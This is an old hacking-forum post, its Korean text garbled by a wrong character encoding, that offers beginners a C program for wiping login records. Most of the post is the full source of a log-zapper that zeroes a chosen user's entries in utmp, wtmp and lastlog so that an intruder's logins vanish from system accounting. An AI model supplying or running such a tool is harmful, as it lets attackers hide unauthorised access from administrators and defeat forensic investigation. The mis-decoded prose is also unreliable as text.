Hacking °ü·Ã °Ô½ÃÆÇ |
---|
2000/08/06(20:35) from 203.254.154.69 | |
ÀÛ¼ºÀÚ : °ÁÙ±â (jkkang65@hanmail.net) | Á¶È¸¼ö : 3094 , ÁÙ¼ö : 100 |
Log ÆÄÀÏ Áö¿ì±â |
---|
[Ãʺ¸]LOG ÆÄÀÏ Áö¿ì±â -------------------------------------------------------------------------------- LOG ÆÄÀÏ Áö¿ì±â /etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÕ´Ï´Ù. À̰͵éÀº ÅؽºÆ® ÆÄÀÏÀÌ ¾Æ´Ï¶ó¼ vi·Î ÆíÁýÇÒ ¼ö ¾ø½À´Ï´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÏÁÒ. ¼¼ ÇÔ¼öµéÀÌ ´ë·« ÇÏ´Â ÀÏÀº °°½À´Ï´Ù. wtmp¿Í utmp,lastlog¿¡¼ »ç¿ëÀÚÀÇ À̸§À» ã°í ±× À§Ä¡¿¡ bzeroÇÔ¼ö¸¦ ÀÌ¿ëÇؼ 0À¸·Î ä¿ö³Ö´Â ÀÏÀ» ÇÕ´Ï´Ù. #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(char *who) { /* Ư¼öÇÑ ±¸Á¶Ã¼¸¦ ÀÌ¿ëÇØ¾ß ÇÕ´Ï´Ù.*/ struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) /* »ç¿ëÀÚ À̸§À» ã¾Æ¾ß°ÚÁÒ. */ if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); /* ã¾ÒÀ¸¸é µÇµ¹¾Æ°¡¼ µ¤¾î¾º¿ó´Ï´Ù.*/ lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(char *who) { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(char *who) { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(int argc,char *argv[]) { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("OK!\n"); } else printf("Error.\n"); } |